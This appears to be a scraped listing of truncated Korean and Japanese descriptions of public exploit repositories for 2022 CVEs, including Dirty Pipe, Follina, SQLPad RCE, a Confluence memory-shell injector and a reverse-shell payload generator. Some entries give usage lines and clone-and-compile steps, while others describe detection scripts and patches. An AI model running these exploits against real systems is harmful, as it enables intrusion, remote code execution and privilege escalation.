exploit-CVE-2022-24780

iTop RCE via SSTI - CVE-2022-24780 익스플로잇 iTop --debug exploit.rb light --debug exploit.rb -h | --help full: 브라우저를 에뮬레이트하고 JavaScript를 실행하며 원래 사용자 프로필 정보를 보존합니다. light: HTML만 파싱하고 요청을 전송하며, JavaScript는 실행하지 않습니다. 파괴적 사용자 정보전화번호, 위치, 직책를 초기화합니다. 옵션: HTTP 스키마, 포트 및 루트 폴더를 포함한 루트 URL기본 경로 iTop 포털 사용자...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE 익스플로잇 이 저장소는 SQLPad의 CVE-2022-0944에 대한 익스플로잇 스크립트를 포함하고 있습니다. 이 취약점은 /api/test-connection 엔드포인트를 통해 원격 코드 실행RCE을 허용합니다. 개요 제공된 스크립트exploit.py는 SQLPad의 RCE 취약점을 익스플로잇하는 방법을 보여줍니다. 이 스크립트는 취약한 엔드포인트에 페이로드를 전송하여 대상 서버에서 명령을 실행합니다. 기능 블라인드 RCE : 직접적인 응답을 받지 않고 대상 서버에서 명령을 실행합니다. Netcat 리스너...

CVE-2022-0847

정보 root@kitploit: Exploit Title: Local Privilege Escalation in Linux kernel CVE-2022-0847 Date: 03/07/2022 Exploit Author: Max Kellermann Tested on: ubuntu 20.04.1 LTS Affect product:Linux kernel 5.8 or later Fixed Product:Linux kernel 5.16.11, 5.15.25, 5.10.102 CVE ID: CVE-2022-0847 익스플로잇 방법 테스트...

dirty-pipe

Dirty Pipe - CVE-2022-0847 これは、Max Kellermann の CVE-2022-0847 Dirty Pipe として知られる のエクスプロイトを使用するためのコードと手順です。 エクスプロイトの動作について詳しくは、https://dirtypipe.cm4all.com/ をご覧ください。 使用方法 1. エクスプロイトバイナリをダウンロードしてコンパイルする root@kitploit: git clone https://github.com/0xIronGoat/dirty-pipe.git cd dirty-pipe gcc exploit....

CVE-2022-21449-TLS-PoC

CVE-2022-21449-TLS-PoC CVE-2022-21449 Neil Madden의 취약점 글에서 Psychic Signatures라고도 불림 취약한 클라이언트와 악의적인 TLS 서버를 사용한 개념 증명PoC입니다. 악의적인 서버는 www.google.com에 대한 유효한2022-04-20 기준 인증서 체인을 제시하며, 이 체인에는 ECDSA 공개 키secp256r1가 포함되어 있습니다. 그러나 crypto/ecdsa 패키지가 수정되어 r = s = 0인 잘못된 서명을 제시합니다. 취약한 클라이언트는 이 잘못된 서명을...

CVE-2022-29072

7-Zip CVE 2022-29072 - Powershell 탐지/완화 문제가 되는 CHM 파일의 삭제는 주석 처리되어 있습니다. 주석을 해제하면 스크립트가 파일을 강제로 삭제합니다 - 사용에 따른 책임은 본인에게 있습니다! 새 해시로 PR을 제출하는 경우 검증을 위해 파일도 함께 제공해 주세요...

CVE-2022-33679

CVE-2022-33679 CVE-2022-33679의 PoC...

CVE-2022-26134-Godzilla-MEMSHELL

CVE-2022-26134-Godzilla-MEMSHELL 사용법 root@kitploit: java -jar CVE-2022-26134.jar 哥斯拉密码 哥斯拉密钥 example java -jar CVE-2022-26134.jar pass key 메모리 셸이 성공적으로 주입되었지만 Godzilla에 연결할 수 없는 경우 요청 구성에 다음 프로토콜 헤더를 추가하거나 Godzilla에 Burp 프록시를 구성하십시오. root@kitploit: Connection: close root@kitploit:...

CVE-2022-23935

CVE-2022-23935 🐍 CVE-2022-23935를 위한 Python 익스플로잇 CVE-2022-23935용 스테이지형 리버스 셸 페이로드 생성기 예제 root@kitploit: cve-2022-23935 10.10.16.3 44444 사용법 root@kitploit: usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip IP Address/Host for Callback port Port Number for Callback...

lazylist-cve-poc

CVE-2022-36944 페이로드 생성기 이 미니 프로젝트는 CVE-2022-36944 취약점의 개념 증명을 시연하기 위해 제작되었습니다. 이는 ysoserial과 유사하지만, LazyList 클래스를 사용하는 이 CVE에 대한 페이로드만 생성합니다. 빠른 FAQ 어떤 아티팩트가 취약점을 유발하나요? org.scala-lang:scala-library 버전 2.13.x 중 2.13.9 미만 어떤 애플리케이션이 취약한가요? 애플리케이션이 취약해지려면 두 가지 조건이 결합되어야 합니다: 애플리케이션의 클래스패스에 취약한...

CVE-2022-22947

SpringCloud-Gateway 명령 실행 취약점 CVE-2022-22947 환경 구축 방법 1: GitHub에 이미 작성된 환경 코드를 클론합니다. GitHub 저장소 root@kitploit: //⚠️ 환경 코드 다운로드 경로에 한글 또는 공백이 포함되지 않도록 주의 git clone https://github.com/Ha0Liu/CVE-2022-22947.git IDEA를 사용하여 방금 다운로드한 코드 패키지를 엽니다. Open --- 방금 다운로드한 파일 경로 --- Open. 방법 2: 직접 프로젝트를 생성하여 환경...

CVE-2022-2588

CVE-2022-2588 하나의 CPU에 맞게 조정된 코드이며, 교육 목적으로 취약한 머신을 부팅할 수 있는 Vagrant 파일이 제공됩니다. 취약한 머신을 생성하려면 머신에 Vagrant가 설치되어 있어야 하며, 리포지토리 루트에서 다음을 실행하세요: root@kitploit: Vagrant up 설치 및 부팅을 기다린 후: root@kitploit: Vagrant ssh VM 내부: root@kitploit: cd CVE-2022-2588/ && gcc ./exploit.c -o exploit -lpthread...

CVE-2022-21894-Payload

이것은 CVE-2022-21894에 대한 간단한 예제 페이로드로, 공격자가 EFI 서비스를 호출할 수 있도록 두 번째 단계 페이로드를 매핑하는 방법을 보여줍니다. 이 취약점에 대한 분석은 여기에서 볼 수 있습니다: https://github.com/Wack0/CVE-2022-21894. 이 저장소의 코드는 위에서 언급한 저장소의 PoCpocamd6419041를 확장합니다...

CoreTrustDemo

Linus Henze의 CoreTrust 버그 데모 CVE-2022-26766, CoreTrust가 모든 루트 인증서를 허용함 사용법은 https://worthdoingbadly.com/coretrust/ 를 참조하세요...

Magento-APSB22-48-Security-Patches

공식 Magento 패치가 릴리스되었습니다:Magento Docs 이 패치들은 이 저장소가 다루는 것과 동일한 보안 문제를 해결합니다. 단, 이 저장소는 오래된 Magento 버전에 대한 몇 가지 수정 사항을 추가로 포함합니다. APSB22-48 보안 패치 이 저장소는 2022년 10월 12일에 발견된 최근 보안 문제에 대한 Magento 2 패치 파일을 포함합니다. 패치 파일은 CVE-2022-35698 및 CVE-2022-35689 취약점을 수정하기 위한 것입니다. 새로 릴리스된 Magento 패치 버전에 포함된 정확한 수...

follina

follina POC CVE-2022-30190, 일명 follina에 관한 모든 것입니다. 이는 Word와 같은 Office 앱에서 Microsoft Support Diagnostic ToolsMSDT에 영향을 미치는 RCE 취약점입니다. 이는 매우 간단한 POC이며, 더 많은 위협 인텔리전스를 위해 아래 출처를 확인하시기 바랍니다. 사용법 root@kitploit: usage: follina.py -h --command COMMAND --ip IP --port PORT --output OUTPUT --reverse...

FollinaExtractor

FollinaExtractor Follina CVE-2022-30190 の docx および rtf ファイルからペイロード URL を抽出します 使用方法: extractfollina.py -f C:\path\to\file.rtf...

CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE,Redis Lua 샌드박스 우회 명령 실행 사용법 python3 CVE-2022-0543.py...

CVE-2022-24112

CVE-2022-24112: Apache APISIX 원격 코드 실행 취약점 root@kitploit: go run apisix-exploit.go -t -c 참고: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

CTF-CVE-2022-0847

더티 파이프 배포 이 챌린지에서는 CVE-2022-0847 취약점을 이용하여 읽기 전용 파일 "cat.txt"를 덮어쓰려고 합니다. 이 취약점을 이용하는 방법은 여러 가지가 있습니다. 의존성 Linux Kernel 버전 5.8 이상 취약 gcc GNU Compiler Collection: 취약점 코드 컴파일용 첫 설정 1. 취약한 환경 설정: Linux 사용자: 커널 버전 5.8 이상이면서 패치된 버전 미만의 Linux 배포판을 사용하세요: 패치된 버전은 5.16.11, 5.15.25, 5.10.102를 포함합니다. 다음 명령...